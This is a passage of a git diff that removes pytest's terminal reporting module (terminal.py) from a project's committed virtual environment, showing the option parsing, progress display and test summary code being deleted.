a/backend/venv/Lib/site-packages/_pytest/terminal.py +++ /dev/null @@ -1,1577 +0,0 @@ -# mypy: allow-untyped-defs -"""Terminal reporting of the full testing process. - -This is a good source for looking at the various reporting hooks. -""" - -from __future__ import annotations - -import argparse -from collections import Counter -import dataclasses -import datetime -from functools import partial -import inspect -from pathlib import Path -import platform -import sys -import textwrap -from typing import Any -from typing import Callable -from typing import ClassVar -from typing import final -from typing import Generator -from typing import Literal -from typing import Mapping -from typing import NamedTuple -from typing import Sequence -from typing import TextIO -from typing import TYPE_CHECKING -import warnings - -import pluggy - -from _pytest import nodes -from _pytest import timing -from _pytest._code import ExceptionInfo -from _pytest._code.code import ExceptionRepr -from _pytest._io import TerminalWriter -from _pytest._io.wcwidth import wcswidth -import _pytest._version -from _pytest.assertion.util import running_on_ci -from _pytest.config import _PluggyPlugin -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.nodes import Item -from _pytest.nodes import Node -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.reports import BaseReport -from _pytest.reports import CollectReport -from _pytest.reports import TestReport - - -if TYPE_CHECKING: - from _pytest.main import Session - - -REPORT_COLLECTING_RESOLUTION = 0.5 - -KNOWN_TYPES = ( - "failed", - "passed", - "skipped", - "deselected", - "xfailed", - "xpassed", - "warnings", - "error", -) - -_REPORTCHARS_DEFAULT = "fE" - - -class MoreQuietAction(argparse.Action): - """A modified copy of the argparse count action which counts down and updates - the legacy quiet attribute at the same time. - - Used to unify verbosity handling. - """ - - def __init__( - self, - option_strings: Sequence[str], - dest: str, - default: object = None, - required: bool = False, - help: str | None = None, - ) -> None: - super().__init__( - option_strings=option_strings, - dest=dest, - nargs=0, - default=default, - required=required, - help=help, - ) - - def __call__( - self, - parser: argparse.ArgumentParser, - namespace: argparse.Namespace, - values: str | Sequence[object] | None, - option_string: str | None = None, - ) -> None: - new_count = getattr(namespace, self.dest, 0) - 1 - setattr(namespace, self.dest, new_count) - # todo Deprecate config.quiet - namespace.quiet = getattr(namespace, "quiet", 0) + 1 - - -class TestShortLogReport(NamedTuple): - """Used to store the test status result category, shortletter and verbose word. - For example ``"rerun", "R", ("RERUN", {"yellow": True})``. - - :ivar category: - The class of result, for example ``“passed”``, ``“skipped”``, ``“error”``, or the empty string. - - :ivar letter: - The short letter shown as testing progresses, for example ``"."``, ``"s"``, ``"E"``, or the empty string. - - :ivar word: - Verbose word is shown as testing progresses in verbose mode, for example ``"PASSED"``, ``"SKIPPED"``, - ``"ERROR"``, or the empty string. - """ - - category: str - letter: str - word: str | tuple[str, Mapping[str, bool]] - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting", "Reporting", after="general") - group._addoption( - "-v", - "--verbose", - action="count", - default=0, - dest="verbose", - help="Increase verbosity", - ) - group._addoption( - "--no-header", - action="store_true", - default=False, - dest="no_header", - help="Disable header", - ) - group._addoption( - "--no-summary", - action="store_true", - default=False, - dest="no_summary", - help="Disable summary", - ) - group._addoption( - "--no-fold-skipped", - action="store_false", - dest="fold_skipped", - default=True, - help="Do not fold skipped tests in short summary.", - ) - group._addoption( - "-q", - "--quiet", - action=MoreQuietAction, - default=0, - dest="verbose", - help="Decrease verbosity", - ) - group._addoption( - "--verbosity", - dest="verbose", - type=int, - default=0, - help="Set verbosity. Default: 0.", - ) - group._addoption( - "-r", - action="store", - dest="reportchars", - default=_REPORTCHARS_DEFAULT, - metavar="chars", - help="Show extra test summary info as specified by chars: (f)ailed, " - "(E)rror, (s)kipped, (x)failed, (X)passed, " - "(p)assed, (P)assed with output, (a)ll except passed (p/P), or (A)ll. " - "(w)arnings are enabled by default (see --disable-warnings), " - "'N' can be used to reset the list. (default: 'fE').", - ) - group._addoption( - "--disable-warnings", - "--disable-pytest-warnings", - default=False, - dest="disable_warnings", - action="store_true", - help="Disable warnings summary", - ) - group._addoption( - "-l", - "--showlocals", - action="store_true", - dest="showlocals", - default=False, - help="Show locals in tracebacks (disabled by default)", - ) - group._addoption( - "--no-showlocals", - action="store_false", - dest="showlocals", - help="Hide locals in tracebacks (negate --showlocals passed through addopts)", - ) - group._addoption( - "--tb", - metavar="style", - action="store", - dest="tbstyle", - default="auto", - choices=["auto", "long", "short", "no", "line", "native"], - help="Traceback print mode (auto/long/short/line/native/no)", - ) - group._addoption( - "--xfail-tb", - action="store_true", - dest="xfail_tb", - default=False, - help="Show tracebacks for xfail (as long as --tb != no)", - ) - group._addoption( - "--show-capture", - action="store", - dest="showcapture", - choices=["no", "stdout", "stderr", "log", "all"], - default="all", - help="Controls how captured stdout/stderr/log is shown on failed tests. " - "Default: all.", - ) - group._addoption( - "--fulltrace", - "--full-trace", - action="store_true", - default=False, - help="Don't cut any tracebacks (default is to cut)", - ) - group._addoption( - "--color", - metavar="color", - action="store", - dest="color", - default="auto", - choices=["yes", "no", "auto"], - help="Color terminal output (yes/no/auto)", - ) - group._addoption( - "--code-highlight", - default="yes", - choices=["yes", "no"], - help="Whether code should be highlighted (only if --color is also enabled). " - "Default: yes.", - ) - - parser.addini( - "console_output_style", - help='Console output: "classic", or with additional progress information ' - '("progress" (percentage) | "count" | "progress-even-when-capture-no" (forces ' - "progress even when capture=no)", - default="progress", - ) - Config._add_verbosity_ini( - parser, - Config.VERBOSITY_TEST_CASES, - help=( - "Specify a verbosity level for test case execution, overriding the main level. " - "Higher levels will provide more detailed information about each test case executed." - ), - ) - - -def pytest_configure(config: Config) -> None: - reporter = TerminalReporter(config, sys.stdout) - config.pluginmanager.register(reporter, "terminalreporter") - if config.option.debug or config.option.traceconfig: - - def mywriter(tags, args): - msg = " ".join(map(str, args)) - reporter.write_line("[traceconfig] " + msg) - - config.trace.root.setprocessor("pytest:config", mywriter) - - -def getreportopt(config: Config) -> str: - reportchars: str = config.option.reportchars - - old_aliases = {"F", "S"} - reportopts = "" - for char in reportchars: - if char in old_aliases: - char = char.lower() - if char == "a": - reportopts = "sxXEf" - elif char == "A": - reportopts = "PpsxXEf" - elif char == "N": - reportopts = "" - elif char not in reportopts: - reportopts += char - - if not config.option.disable_warnings and "w" not in reportopts: - reportopts = "w" + reportopts - elif config.option.disable_warnings and "w" in reportopts: - reportopts = reportopts.replace("w", "") - - return reportopts - - -@hookimpl(trylast=True) # after _pytest.runner -def pytest_report_teststatus(report: BaseReport) -> tuple[str, str, str]: - letter = "F" - if report.passed: - letter = "." - elif report.skipped: - letter = "s" - - outcome: str = report.outcome - if report.when in ("collect", "setup", "teardown") and outcome == "failed": - outcome = "error" - letter = "E" - - return outcome, letter, outcome.upper() - - -@dataclasses.dataclass -class WarningReport: - """Simple structure to hold warnings information captured by ``pytest_warning_recorded``. - - :ivar str message: - User friendly message about the warning. - :ivar str|None nodeid: - nodeid that generated the warning (see ``get_location``). - :ivar tuple fslocation: - File system location of the source of the warning (see ``get_location``). - """ - - message: str - nodeid: str | None = None - fslocation: tuple[str, int] | None = None - - count_towards_summary: ClassVar = True - - def get_location(self, config: Config) -> str | None: - """Return the more user-friendly information about the location of a warning, or None.""" - if self.nodeid: - return self.nodeid - if self.fslocation: - filename, linenum = self.fslocation - relpath = bestrelpath(config.invocation_params.dir, absolutepath(filename)) - return f"{relpath}:{linenum}" - return None - - -@final -class TerminalReporter: - def __init__(self, config: Config, file: TextIO | None = None) -> None: - import _pytest.config - - self.config = config - self._numcollected = 0 - self._session: Session | None = None - self._showfspath: bool | None = None - - self.stats: dict[str, list[Any]] = {} - self._main_color: str | None = None - self._known_types: list[str] | None = None - self.startpath = config.invocation_params.dir - if file is None: - file = sys.stdout - self._tw = _pytest.config.create_terminal_writer(config, file) - self._screen_width = self._tw.fullwidth - self.currentfspath: None | Path | str | int = None - self.reportchars = getreportopt(config) - self.foldskipped = config.option.fold_skipped - self.hasmarkup = self._tw.hasmarkup - self.isatty = file.isatty() - self._progress_nodeids_reported: set[str] = set() - self._show_progress_info = self._determine_show_progress_info() - self._collect_report_last_write: float | None = None - self._already_displayed_warnings: int | None = None - self._keyboardinterrupt_memo: ExceptionRepr | None = None - - def _determine_show_progress_info(self) -> Literal["progress", "count", False]: - """Return whether we should display progress information based on the current config.""" - # do not show progress if we are not capturing output (#3038) unless explicitly - # overridden by progress-even-when-capture-no - if ( - self.config.getoption("capture", "no") == "no" - and self.config.getini("console_output_style") - != "progress-even-when-capture-no" - ): - return False - # do not show progress if we are showing fixture setup/teardown - if self.config.getoption("setupshow", False): - return False - cfg: str = self.config.getini("console_output_style") - if cfg in {"progress", "progress-even-when-capture-no"}: - return "progress" - elif cfg == "count": - return "count" - else: - return False - - @property - def verbosity(self) -> int: - verbosity: int = self.config.option.verbose - return verbosity - - @property - def showheader(self) -> bool: - return self.verbosity >= 0 - - @property - def no_header(self) -> bool: - return bool(self.config.option.no_header) - - @property - def no_summary(self) -> bool: - return bool(self.config.option.no_summary) - - @property - def showfspath(self) -> bool: - if self._showfspath is None: - return self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) >= 0 - return self._showfspath - - @showfspath.setter - def showfspath(self, value: bool | None) -> None: - self._showfspath = value - - @property - def showlongtestinfo(self) -> bool: - return self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) > 0 - - def hasopt(self, char: str) -> bool: - char = {"xfailed": "x", "skipped": "s"}.get(char, char) - return char in self.reportchars - - def write_fspath_result(self, nodeid: str, res: str, **markup: bool) -> None: - fspath = self.config.rootpath / nodeid.split("::")[0] - if self.currentfspath is None or fspath != self.currentfspath: - if self.currentfspath is not None and self._show_progress_info: - self._write_progress_information_filling_space() - self.currentfspath = fspath - relfspath = bestrelpath(self.startpath, fspath) - self._tw.line() - self._tw.write(relfspath + " ") - self._tw.write(res, flush=True, **markup) - - def write_ensure_prefix(self, prefix: str, extra: str = "", **kwargs) -> None: - if self.currentfspath != prefix: - self._tw.line() - self.currentfspath = prefix - self._tw.write(prefix) - if extra: - self._tw.write(extra, **kwargs) - self.currentfspath = -2 - - def ensure_newline(self) -> None: - if self.currentfspath: - self._tw.line() - self.currentfspath = None - - def wrap_write( - self, - content: str, - *, - flush: bool = False, - margin: int = 8, - line_sep: str = "\n", - **markup: bool, - ) -> None: - """Wrap message with margin for progress info.""" - width_of_current_line = self._tw.width_of_current_line - wrapped = line_sep.join( - textwrap.wrap( - " " * width_of_current_line + content, - width=self._screen_width - margin, - drop_whitespace=True, - replace_whitespace=False, - ), - ) - wrapped = wrapped[width_of_current_line:] - self._tw.write(wrapped, flush=flush, **markup) - - def write(self, content: str, *, flush: bool = False, **markup: bool) -> None: - self._tw.write(content, flush=flush, **markup) - - def flush(self) -> None: - self._tw.flush() - - def write_line(self, line: str | bytes, **markup: bool) -> None: - if not isinstance(line, str): - line = str(line, errors="replace") - self.ensure_newline() - self._tw.line(line, **markup) - - def rewrite(self, line: str, **markup: bool) -> None: - """Rewinds the terminal cursor to the beginning and writes the given line. - - :param erase: - If True, will also add spaces until the full terminal width to ensure - previous lines are properly erased. - - The rest of the keyword arguments are markup instructions. - """ - erase = markup.pop("erase", False) - if erase: - fill_count = self._tw.fullwidth - len(line) - 1 - fill = " " * fill_count - else: - fill = "" - line = str(line) - self._tw.write("\r" + line + fill, **markup) - - def write_sep( - self, - sep: str, - title: str | None = None, - fullwidth: int | None = None, - **markup: bool, - ) -> None: - self.ensure_newline() - self._tw.sep(sep, title, fullwidth, **markup) - - def section(self, title: str, sep: str = "=", **kw: bool) -> None: - self._tw.sep(sep, title, **kw) - - def line(self, msg: str, **kw: bool) -> None: - self._tw.line(msg, **kw) - - def _add_stats(self, category: str, items: Sequence[Any]) -> None: - set_main_color = category not in self.stats - self.stats.setdefault(category, []).extend(items) - if set_main_color: - self._set_main_color() - - def pytest_internalerror(self, excrepr: ExceptionRepr) -> bool: - for line in str(excrepr).split("\n"): - self.write_line("INTERNALERROR> " + line) - return True - - def pytest_warning_recorded( - self, - warning_message: warnings.WarningMessage, - nodeid: str, - ) -> None: - from _pytest.warnings import warning_record_to_str - - fslocation = warning_message.filename, warning_message.lineno - message = warning_record_to_str(warning_message) - - warning_report = WarningReport( - fslocation=fslocation, message=message, nodeid=nodeid - ) - self._add_stats("warnings", [warning_report]) - - def pytest_plugin_registered(self, plugin: _PluggyPlugin) -> None: - if self.config.option.traceconfig: - msg = f"PLUGIN registered: {plugin}" - # XXX This event may happen during setup/teardown time - # which unfortunately captures our output here - # which garbles our output if we use self.write_line. - self.write_line(msg) - - def pytest_deselected(self, items: Sequence[Item]) -> None: - self._add_stats("deselected", items) - - def pytest_runtest_logstart( - self, nodeid: str, location: tuple[str, int | None, str] - ) -> None: - fspath, lineno, domain = location - # Ensure that the path is printed before the - # 1st test of a module starts running. - if self.showlongtestinfo: - line = self._locationline(nodeid, fspath, lineno, domain) - self.write_ensure_prefix(line, "") - self.flush() - elif self.showfspath: - self.write_fspath_result(nodeid, "") - self.flush() - - def pytest_runtest_logreport(self, report: TestReport) -> None: - self._tests_ran = True - rep = report - - res = TestShortLogReport( - *self.config.hook.pytest_report_teststatus(report=rep, config=self.config) - ) - category, letter, word = res.category, res.letter, res.word - if not isinstance(word, tuple): - markup = None - else: - word, markup = word - self._add_stats(category, [rep]) - if not letter and not word: - # Probably passed setup/teardown. - return - if markup is None: - was_xfail = hasattr(report, "wasxfail") - if rep.passed and not was_xfail: - markup = {"green": True} - elif rep.passed and was_xfail: - markup = {"yellow": True} - elif rep.failed: - markup = {"red": True} - elif rep.skipped: - markup = {"yellow": True} - else: - markup = {} - self._progress_nodeids_reported.add(rep.nodeid) - if self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) <= 0: - self._tw.write(letter, **markup) - # When running in xdist, the logreport and logfinish of multiple - # items are interspersed, e.g. `logreport`, `logreport`, - # `logfinish`, `logfinish`. To avoid the "past edge" calculation - # from getting confused and overflowing (#7166), do the past edge - # printing here and not in logfinish, except for the 100% which - # should only be printed after all teardowns are finished. - if self._show_progress_info and not self._is_last_item: - self._write_progress_information_if_past_edge() - else: - line = self._locationline(rep.nodeid, *rep.location) - running_xdist = hasattr(rep, "node") - if not running_xdist: - self.write_ensure_prefix(line, word, **markup) - if rep.skipped or hasattr(report, "wasxfail"): - reason = _get_raw_skip_reason(rep) - if self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) < 2: - available_width = ( - (self._tw.fullwidth - self._tw.width_of_current_line) - - len(" [100%]") - - 1 - ) - formatted_reason = _format_trimmed( - " ({})", reason, available_width - ) - else: - formatted_reason = f" ({reason})" - - if reason and formatted_reason is not None: - self.wrap_write(formatted_reason) - if self._show_progress_info: - self._write_progress_information_filling_space() - else: - self.ensure_newline() - self._tw.write(f"[{rep.node.gateway.id}]") - if self._show_progress_info: - self._tw.write( - self._get_progress_information_message() + " ", cyan=True - ) - else: - self._tw.write(" ") - self._tw.write(word, **markup) - self._tw.write(" " + line) - self.currentfspath = -2 - self.flush() - - @property - def _is_last_item(self) -> bool: - assert self._session is not None - return len(self._progress_nodeids_reported) == self._session.testscollected - - @hookimpl(wrapper=True) - def pytest_runtestloop(self) -> Generator[None, object, object]: - result = yield - - # Write the final/100% progress -- deferred until the loop is complete. - if ( - self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) <= 0 - and self._show_progress_info - and self._progress_nodeids_reported - ): - self._write_progress_information_filling_space() - - return result - - def _get_progress_information_message(self) -> str: - assert self._session - collected = self._session.testscollected - if self._show_progress_info == "count": - if collected: - progress = len(self._progress_nodeids_reported) - counter_format = f"{{:{len(str(collected))}d}}" - format_string = f" [{counter_format}/{{}}]" - return format_string.format(progress, collected) - return f" [ {collected} / {collected} ]" - else: - if collected: - return ( - f" [{len(self._progress_nodeids_reported) * 100 // collected:3d}%]" - ) - return " [100%]" - - def _write_progress_information_if_past_edge(self) -> None: - w = self._width_of_current_line - if self._show_progress_info == "count": - assert self._session - num_tests = self._session.testscollected - progress_length = len(f" [{num_tests}/{num_tests}]") - else: - progress_length = len(" [100%]") - past_edge = w + progress_length + 1 >= self._screen_width - if past_edge: - main_color, _ = self._get_main_color() - msg = self._get_progress_information_message() - self._tw.write(msg + "\n", **{main_color: True}) - - def _write_progress_information_filling_space(self) -> None: - color, _ = self._get_main_color() - msg = self._get_progress_information_message() - w = self._width_of_current_line - fill = self._tw.fullwidth - w - 1 - self.write(msg.rjust(fill), flush=True, **{color: True}) - - @property - def _width_of_current_line(self) -> int: - """Return the width of the current line.""" - return self._tw.width_of_current_line - - def pytest_collection(self) -> None: - if self.isatty: - if self.config.option.verbose >= 0: - self.write("collecting ... ", flush=True, bold=True) - self._collect_report_last_write = timing.time() - elif self.config.option.verbose >= 1: - self.write("collecting ... ", flush=True, bold=True) - - def pytest_collectreport(self, report: CollectReport) -> None: - if report.failed: - self._add_stats("error", [report]) - elif report.skipped: - self._add_stats("skipped", [report]) - items = [x for x in report.result if isinstance(x, Item)] - self._numcollected += len(items) - if self.isatty: - self.report_collect() - - def report_collect(self, final: bool = False) -> None: - if self.config.option.verbose < 0: - return - - if not final: - # Only write "collecting" report every 0.5s. - t = timing.time() - if ( - self._collect_report_last_write is not None - and self._collect_report_last_write > t - REPORT_COLLECTING_RESOLUTION - ): - return - self._collect_report_last_write = t - - errors = len(self.stats.get("error", [])) - skipped = len(self.stats.get("skipped", [])) - deselected = len(self.stats.get("deselected", [])) - selected = self._numcollected - deselected - line = "collected " if final else "collecting " - line += ( - str(self._numcollected) + " item" + ("" if self._numcollected == 1 else "s") - ) - if errors: - line += " / %d error%s" % (errors, "s" if errors != 1 else "") - if deselected: - line += " / %d deselected" % deselected - if skipped: - line += " / %d skipped" % skipped - if self._numcollected > selected: - line += " / %d selected" % selected - if self.isatty: - self.rewrite(line, bold=True, erase=True) - if final: - self.write("\n") - else: - self.write_line(line) - - @hookimpl(trylast=True) - def pytest_sessionstart(self, session: Session) -> None: - self._session = session - self._sessionstarttime = timing.time() - if not self.showheader: - return - self.write_sep("=", "test session starts", bold=True) - verinfo = platform.python_version() - if not self.no_header: - msg = f"platform {sys.platform} -- Python {verinfo}" - pypy_version_info = getattr(sys, "pypy_version_info", None) - if pypy_version_info: - verinfo = ".".join(map(str, pypy_version_info[:3])) - msg += f"[pypy-{verinfo}-{pypy_version_info[3]}]" - msg += f", pytest-{_pytest._version.version}, pluggy-{pluggy.__version__}" - if ( - self.verbosity > 0 - or self.config.option.debug - or getattr(self.config.option, "pastebin", None) - ): - msg += " -- " + str(sys.executable) - self.write_line(msg) - lines = self.config.hook.pytest_report_header( - config=self.config, start_path=self.startpath - ) - self._write_report_lines_from_hooks(lines) - - def _write_report_lines_from_hooks( - self, lines: Sequence[str | Sequence[str]] - ) -> None: - for line_or_lines in reversed(lines): - if isinstance(line_or_lines, str): - self.write_line(line_or_lines) - else: - for line in line_or_lines: - self.write_line(line) - - def pytest_report_header(self, config: Config) -> list[str]: - result = [f"rootdir: {config.rootpath}"] - - if config.inipath: - result.append("configfile: " + bestrelpath(config.rootpath, config.inipath)) - - if config.args_source == Config.ArgsSource.TESTPATHS: - testpaths: list[str] = config.getini("testpaths") - result.append("testpaths: {}".format(", ".join(testpaths))) - - plugininfo = config.pluginmanager.list_plugin_distinfo() - if plugininfo: - result.append( - "plugins: {}".format(", ".join(_plugin_nameversions(plugininfo))) - ) - return result - - def pytest_collection_finish(self, session: Session) -> None: - self.report_collect(True) - - lines = self.config.hook.pytest_report_collectionfinish( - config=self.config, - start_path=self.startpath, - items=session.items, - ) - self._write_report_lines_from_hooks(lines) - - if self.config.getoption("collectonly"): - if session.items: - if self.config.option.verbose > -1: - self._tw.line("") - self._printcollecteditems(session.items) - - failed = self.stats.get("failed") - if failed: - self._tw.sep("!", "collection failures") - for rep in failed: - rep.toterminal(self._tw) - - def _printcollecteditems(self, items: Sequence[Item]) -> None: - test_cases_verbosity = self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) - if test_cases_verbosity < 0: - if test_cases_verbosity < -1: - counts = Counter(item.nodeid.split("::", 1)[0] for item in items) - for name, count in sorted(counts.items()): - self._tw.line("%s: %d" % (name, count)) - else: - for item in items: - self._tw.line(item.nodeid) - return - stack: list[Node] = [] - indent = "" - for item in items: - needed_collectors = item.listchain()[1:] # strip root node - while stack: - if stack == needed_collectors[: len(stack)]: - break - stack.pop() - for col in needed_collectors[len(stack) :]: - stack.append(col) - indent = (len(stack) - 1) * " " - self._tw.line(f"{indent}{col}") - if test_cases_verbosity >= 1: - obj = getattr(col, "obj", None) - doc = inspect.getdoc(obj) if obj else None - if doc: - for line in doc.splitlines(): - self._tw.line("{}{}".format(indent + " ", line)) - - @hookimpl(wrapper=True) - def pytest_sessionfinish( - self, session: Session, exitstatus: int | ExitCode - ) -> Generator[None, None, None]: - result = yield - self._tw.line("") - summary_exit_codes = ( - ExitCode.OK, - ExitCode.TESTS_FAILED, - ExitCode.INTERRUPTED, - ExitCode.USAGE_ERROR, - ExitCode.NO_TESTS_COLLECTED, - ) - if exitstatus in summary_exit_codes and not self.no_summary: - self.config.hook.pytest_terminal_summary( - terminalreporter=self, exitstatus=exitstatus, config=self.config - ) - if session.shouldfail: - self.write_sep("!", str(session.shouldfail), red=True) - if exitstatus == ExitCode.INTERRUPTED: - self._report_keyboardinterrupt() - self._keyboardinterrupt_memo = None - elif session.shouldstop: - self.write_sep("!", str(session.shouldstop), red=True) - self.summary_stats() - return result - - @hookimpl(wrapper=True) - def pytest_terminal_summary(self) -> Generator[None, None, None]: - self.summary_errors() - self.summary_failures() - self.summary_xfailures() - self.summary_warnings() - self.summary_passes() - self.summary_xpasses() - try: - return (yield) - finally: - self.short_test_summary() - # Display any extra warnings from teardown here (if any). - self.summary_warnings() - - def pytest_keyboard_interrupt(self, excinfo: ExceptionInfo[BaseException]) -> None: - self._keyboardinterrupt_memo = excinfo.getrepr(funcargs=True) - - def pytest_unconfigure(self) -> None: - if self._keyboardinterrupt_memo is not None: - self._report_keyboardinterrupt() - - def _report_keyboardinterrupt(self) -> None: - excrepr = self._keyboardinterrupt_memo - assert excrepr is not None - assert excrepr.reprcrash is not None - msg = excrepr.reprcrash.message - self.write_sep("!", msg) - if "KeyboardInterrupt" in msg: - if self.config.option.fulltrace: - excrepr.toterminal(self._tw) - else: - excrepr.reprcrash.toterminal(self._tw) - self._tw.line( - "(to show a full traceback on KeyboardInterrupt use --full-trace)", - yellow=True, - ) - - def _locationline( - self, nodeid: str, fspath: str, lineno: int | None, domain: str - ) -> str: - def mkrel(nodeid: str) -> str: - line = self.config.cwd_relative_nodeid(nodeid) - if domain and line.endswith(domain): - line = line[: -len(domain)] - values = domain.split("[") - values[0] = values[0].replace(".", "::") # don't replace '.' in params - line += "[".join(values) - return line - - # fspath comes from testid which has a "/"-normalized path. - if fspath: - res = mkrel(nodeid) - if self.verbosity >= 2 and nodeid.split("::")[0] != fspath.replace( - "\\", nodes.SEP - ): - res += " <- " + bestrelpath(self.startpath, Path(fspath)) - else: - res = "[location]" - return res + " " - - def _getfailureheadline(self, rep): - head_line = rep.head_line - if head_line: - return head_line - return "test session" # XXX? - - def _getcrashline(self, rep): - try: - return str(rep.longrepr.reprcrash) - except AttributeError: - try: - return str(rep.longrepr)[:50] - except AttributeError: - return "" - - # - # Summaries for sessionfinish. - # - def getreports(self, name: str): - return [x for x in self.stats.get(name, ()) if not hasattr(x, "_pdbshown")] - - def summary_warnings(self) -> None: - if self.hasopt("w"): - all_warnings: list[WarningReport] | None = self.stats.get("warnings") - if not all_warnings: - return - - final = self._already_displayed_warnings is not None - if final: - warning_reports = all_warnings[self._already_displayed_warnings :] - else: - warning_reports = all_warnings - self._already_displayed_warnings = len(warning_reports) - if not warning_reports: - return - - reports_grouped_by_message: dict[str, list[WarningReport]] = {} - for wr in warning_reports: - reports_grouped_by_message.setdefault(wr.message, []).append(wr) - - def collapsed_location_report(reports: list[WarningReport]) -> str: - locations = [] - for w in reports: - location = w.get_location(self.config) - if location: - locations.append(location) - - if len(locations) < 10: - return "\n".join(map(str, locations)) - - counts_by_filename = Counter( - str(loc).split("::", 1)[0] for loc in locations - ) - return "\n".join( - "{}: {} warning{}".format(k, v, "s" if v > 1 else "") - for k, v in counts_by_filename.items() - ) - - title = "warnings summary (final)" if final else "warnings summary" - self.write_sep("=", title, yellow=True, bold=False) - for message, message_reports in reports_grouped_by_message.items(): - maybe_location = collapsed_location_report(message_reports) - if maybe_location: - self._tw.line(maybe_location) - lines = message.splitlines() - indented = "\n".join(" " + x for x in lines) - message = indented.rstrip() - else: - message = message.rstrip() - self._tw.line(message) - self._tw.line() - self._tw.line( - "-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html" - ) - - def summary_passes(self) -> None: - self.summary_passes_combined("passed", "PASSES", "P") - - def summary_xpasses(self) -> None: - self.summary_passes_combined("xpassed", "XPASSES", "X") - - def summary_passes_combined( - self, which_reports: str, sep_title: str, needed_opt: str - ) -> None: - if self.config.option.tbstyle != "no": - if self.hasopt(needed_opt): - reports: list[TestReport] = self.getreports(which_reports) - if not reports: - return - self.write_sep("=", sep_title) - for rep in reports: - if rep.sections: - msg = self._getfailureheadline(rep) - self.write_sep("_", msg, green=True, bold=True) - self._outrep_summary(rep) - self._handle_teardown_sections(rep.nodeid) - - def _get_teardown_reports(self, nodeid: str) -> list[TestReport]: - reports = self.getreports("") - return [ - report - for report in reports - if report.when == "teardown" and report.nodeid == nodeid - ] - - def _handle_teardown_sections(self, nodeid: str) -> None: - for report in self._get_teardown_reports(nodeid): - self.print_teardown_sections(report) - - def print_teardown_sections(self, rep: TestReport) -> None: - showcapture = self.config.option.showcapture - if showcapture == "no": - return - for secname, content in rep.sections: - if showcapture != "all" and showcapture not in secname: - continue - if "teardown" in secname: - self._tw.sep("-", secname) - if content[-1:] == "\n": - content = content[:-1] - self._tw.line(content) - - def summary_failures(self) -> None: - style = self.config.option.tbstyle - self.summary_failures_combined("failed", "FAILURES", style=style) - - def summary_xfailures(self) -> None: - show_tb = self.config.option.xfail_tb - style = self.config.option.tbstyle if show_tb else "no" - self.summary_failures_combined("xfailed", "XFAILURES", style=style) - - def summary_failures_combined( - self, - which_reports: str, - sep_title: str, - *, - style: str, - needed_opt: str | None = None, - ) -> None: - if style != "no": - if not needed_opt or self.hasopt(needed_opt): - reports: list[BaseReport] = self.getreports(which_reports) - if not reports: - return - self.write_sep("=", sep_title) - if style == "line": - for rep in reports: - line = self._getcrashline(rep) - self.write_line(line) - else: - for rep in reports: - msg = self._getfailureheadline(rep) - self.write_sep("_", msg, red=True, bold=True) - self._outrep_summary(rep) - self._handle_teardown_sections(rep.nodeid) - - def summary_errors(self) -> None: - if self.config.option.tbstyle != "no": - reports: list[BaseReport] = self.getreports("error") - if not reports: - return - self.write_sep("=", "ERRORS") - for rep in self.stats["error"]: - msg = self._getfailureheadline(rep) - if rep.when == "collect": - msg = "ERROR collecting " + msg - else: - msg = f"ERROR at {rep.when} of {msg}" - self.write_sep("_", msg, red=True, bold=True) - self._outrep_summary(rep) - - def _outrep_summary(self, rep: BaseReport) -> None: - rep.toterminal(self._tw) - showcapture = self.config.option.showcapture - if showcapture == "no": - return - for secname, content in rep.sections: - if showcapture != "all" and showcapture not in secname: - continue - self._tw.sep("-", secname) - if content[-1:] == "\n": - content = content[:-1] - self._tw.line(content) - - def summary_stats(self) -> None: - if self.verbosity < -1: - return - - session_duration = timing.time() - self._sessionstarttime - (parts, main_color) = self.build_summary_stats_line() - line_parts = [] - - display_sep = self.verbosity >= 0 - if display_sep: - fullwidth = self._tw.fullwidth - for text, markup in parts: - with_markup = self._tw.markup(text, **markup) - if display_sep: - fullwidth += len(with_markup) - len(text) - line_parts.append(with_markup) - msg = ", ".join(line_parts) - - main_markup = {main_color: True} - duration = f" in {format_session_duration(session_duration)}" - duration_with_markup = self._tw.markup(duration, **main_markup) - if display_sep: - fullwidth += len(duration_with_markup) - len(duration) - msg += duration_with_markup - - if display_sep: - markup_for_end_sep = self._tw.markup("", **main_markup) - if markup_for_end_sep.endswith("\x1b[0m"): - markup_for_end_sep = markup_for_end_sep[:-4] - fullwidth += len(markup_for_end_sep) - msg += markup_for_end_sep - - if display_sep: - self.write_sep("=", msg, fullwidth=fullwidth, **main_markup) - else: - self.write_line(msg, **main_markup) - - def short_test_summary(self) -> None: - if not self.reportchars: - return - - def show_simple(lines: list[str], *, stat: str) -> None: - failed = self.stats.get(stat, []) - if not failed: - return - config = self.config - for rep in failed: - color = _color_for_type.get(stat, _color_for_type_default) - line = _get_line_with_reprcrash_message( - config, rep, self._tw, {color: True} - ) - lines.append(line) - - def show_xfailed(lines: list[str]) -> None: - xfailed = self.stats.get("xfailed", []) - for rep in xfailed: - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - nodeid = _get_node_id_with_markup(self._tw, self.config, rep) - line = f"{markup_word} {nodeid}" - reason = rep.wasxfail - if reason: - line += " - " + str(reason) - - lines.append(line) - - def show_xpassed(lines: list[str]) -> None: - xpassed = self.stats.get("xpassed", []) - for rep in xpassed: - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - nodeid = _get_node_id_with_markup(self._tw, self.config, rep) - line = f"{markup_word} {nodeid}" - reason = rep.wasxfail - if reason: - line += " - " + str(reason) - lines.append(line) - - def show_skipped_folded(lines: list[str]) -> None: - skipped: list[CollectReport] = self.stats.get("skipped", []) - fskips = _folded_skips(self.startpath, skipped) if skipped else [] - if not fskips: - return - verbose_word, verbose_markup = skipped[0]._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, 